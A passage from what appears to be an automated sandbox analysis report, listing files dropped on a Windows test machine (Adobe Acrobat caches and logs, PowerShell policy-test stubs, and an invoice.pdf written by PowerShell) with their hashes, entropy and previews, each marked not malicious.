DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.274057447938395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJfshHHrPeUkwRe9:YvXKXtHGn0cjYGUUUkee9
MD5:	5BBF9C1D94E0B06578D7266609C7DE4A
SHA1:	5C05B201443CD75910F25ABEB61B27365D811AC1
SHA-256:	6BBB3A746C89A588DD3F773C073316F46E2E54098BF0DEA9CB2B60E6B5A02CE6
SHA-512:	255AB3DF79DAAA81DA76834EB7BCF76AA283D25A09CF816ECCF777857FE681711677E89C23067B4761971742F7FD33F0FDA2CF38A0D69F6345D8A57ECF99A7CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284737710047418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtHv8gGWe0nZiQ0YuKKoAvJTqgFCrPeUkwRe9:YvXKXtHGn0cjYGTq16Ukee9
MD5:	E6723FB9A51BF9CC07C85C7C37F3DEC4
SHA1:	101974DEF87A7911D08DC1E094C814F38C1B4C04
SHA-256:	50A606BA885F4C4C3566138F8342B2D49FFC2BE0EF7FA97C30C7FD76B3BE084D
SHA-512:	8867D55B7A7998AEE8E25EB4F0286ED483C05EF1F870AFCBECBBD5669C0FCF6664144BDE844409031D6BD449B725407007CBDCCB650EA8B0C99AAD22983129CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"57c77bab-6ded-4621-bff1-1eb588a9337f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736721304519,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138660231823215
Encrypted:	false
SSDEEP:	24:YT/dGaeAHWmaym7GBhuJLLQiZiESC9SUdhdn6Pj11nsj0SofbZC2oJ2LSoRC3qvO:YK1vIiLxSn1on5JEoeu3rnphV9H
MD5:	456F102E8F0DB6468F57B2FBA13DED42
SHA1:	CB07B4B190010570D07F128E1A4E746AD265A21A
SHA-256:	88E0AE461F066B385BA99FB736F021F2DC866EED59B8B46372356C3019FE9027
SHA-512:	84E90D3530D6C8A029EDDC8FC787E21C2654CD910037C1BDFE0F8680378584E6F685FA8EC41FFB7940044789EC63310F1E5C30997A769917094FC784F488287E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9cee946d0743c34d92698fa83311a5c2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736546779000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4f4fe9e6b050500fd5e82e96ec5f5a60","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736546779000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"844c61c68ed25329ef8ede68f1e5dc81","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736546779000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"118955523e3650b1bf77a3e2e5f3428c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736546779000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7a00197a5ddd994be93dcd4a0925b0a4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736546779000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ed250291e02d5271585354352ef416a4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.147040412299802
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursnKghvRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUW:TFl2GL7msnrXc+XcGNFlRYIX2v3kit
MD5:	92BB7F84D968B69DDA8C9A26D242AB56
SHA1:	BE3AE9C04453CB5078EF70A49AF25738E6D5BF7D
SHA-256:	6D0EF80AA275555B397B6A1A62D30203EC6E5DA2BB110051D8328DD36FB6E84B
SHA-512:	E4CC344729C8724A103B61C7B6F9B1018C28BCE14FCC50A9260717CFC6449AFF0D1E72664CF910C82B43895DCA8FA5E98121590DCBB535F8B43B0B88B19D04F0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.551646289680055
Encrypted:	false
SSDEEP:	24:7+twKghvUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxusqLxxO:7Mw8Xc+XcGNFlRYIX2vGqVl2GL7ms63
MD5:	ADB1C5692B46486E16D3145E60A1A5E5
SHA1:	17D92ADE6F042D6F7B98A4FA9B2E8192A0295E3F
SHA-256:	74F6390820B6E2C76B39FB18CE455CEA46338FCAC5CFB718424CA0214718AA56
SHA-512:	924A798EED63F19BB57B8731BD7873F271A762EB767EB71C46CD5D377D3E07CC8FB8DAFC1AB05EEF81F70B01F6EFF09F774752CED252C49EB5EBB3C74BE78B69
Malicious:	false
Preview:	.... .c.....A.[...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6bbxM2E1wb6AZ1eI4UW7BqJ2kcYyu:6a6TZ44ADE6bbyP1yDZAI4U+tK
MD5:	38EE6CB96103F2E0F1A92AA5E88C40A2
SHA1:	4F7007DFC0AA16DC9896FA5ABBF037B02068745D
SHA-256:	A9E645ACF33ABC780ABE447D900287EC468716AFA58E9CC2BBCFE6CDCEB91655
SHA-512:	CDBFC10470AEF4B3B865103A7B37AB1CB703EDD9B3B0491EDD6479C25AD141F0EA949A00D7AD2F8E53CBD1E10DBE2BDF8FEC9310DD4AA0871174897E1ACCB5EC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI57ce5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEf:Qw946cPbiOxDlbYnuRK+bDf
MD5:	EE1E46218535472A36080ABAF9890593
SHA1:	7205FDB3FDC50056BA03E4BCE262D30F8D71C26A
SHA-256:	2A81B644788547CDA4681CB1C0157188BF98212A608B6F496B5FCD237E5FEE0B
SHA-512:	FEB0C858185B2B1694CD345B6A979DB6505EB3399AA1A911EF80A72A0F73101BCD1B16633970A7C665784DEAAE72B27D2AA666E5FF8726946AC638C3C92A8D8D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.0.6.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33glzkeh.wgu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfmqeo3c.fcf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-06-13-250.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360750359908288
Encrypted:	false
SSDEEP:	384:Et00zdqP56P5SQaHAGPKmhI74ZlLNrD5HIuwaSQAZ57DpqcpZ+T+j9CDqQSBB+OQ:tZf
MD5:	6C96C925B6617B65AFA05B250593585A
SHA1:	A7BAD75F8625C06F49B64127B15DC7AE9890C261
SHA-256:	16CC9227D95E17E2C6E9E493F8BEFE82D1B4A6208FBA9A30088C27A2012E7714
SHA-512:	2B4B2336DE0B58975B9ACC142AD235C1EB2BCA0B07E0D32D5CF7A7D3B1112DEC9D7677FB9814718C97AF557F5633F544A254D7CFE6D1EE808F2E12BD577A9321
Malicious:	false
Preview:	SessionID=f261d692-768a-44a4-bc6d-9f547f12d705.1736546773272 Timestamp=2025-01-10T17:06:13:276-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f261d692-768a-44a4-bc6d-9f547f12d705.1736546773272 Timestamp=2025-01-10T17:06:13:283-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f261d692-768a-44a4-bc6d-9f547f12d705.1736546773272 Timestamp=2025-01-10T17:06:13:284-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f261d692-768a-44a4-bc6d-9f547f12d705.1736546773272 Timestamp=2025-01-10T17:06:13:287-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f261d692-768a-44a4-bc6d-9f547f12d705.1736546773272 Timestamp=2025-01-10T17:06:13:287-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396136931896524
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbwocb6IQWcb5:V3fOCIdJDeehQd
MD5:	511067097185BCFEA844F481428A73DE
SHA1:	67E461FC9FE6DADC60B4170CD44951FDADD0D96E
SHA-256:	942E2F7DE6DF3B17A01E29107391A519DD1BD372F79105B2D6BF96AFA2429D21
SHA-512:	5694BE189908CA3C2087018762AEECCFAB954950A3C04CAF33E9832AF36A42B197D99AA149144738941827C766C0C7637CED9472AAE6CE80C6F6DC8F470D66CC
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0191503f-6eab-4386-b186-cba3a8617585.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\491fb394-a91e-4bec-8051-b74f9a0dc1a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\796c4ea5-314d-4be0-888b-11bd40ef8a79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:uoD9WL07oXGZflYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:uy9WLxXGZNZGH3mlind9i4ufFXpAXkru
MD5:	130BE2FD618BFD72EFAE881EB827AE8F
SHA1:	943042DBAF8A8E2F70A79F41F6B0C76880D62803
SHA-256:	647467C57EE2B583A18E9946EA78CEC9265634A35F8A5E584097818DAA596004
SHA-512:	4741A8FC7E59C5260EA1AF15C3C82FA95625FE3CB1025F311C859B4F9732A126826C4E2FFDAACB7CF72CE15DD901AAC4F2152DACDF7AABAD07CA4A901DDEE9BC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9164acf5-232d-438d-93d3-9942cf05d361.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
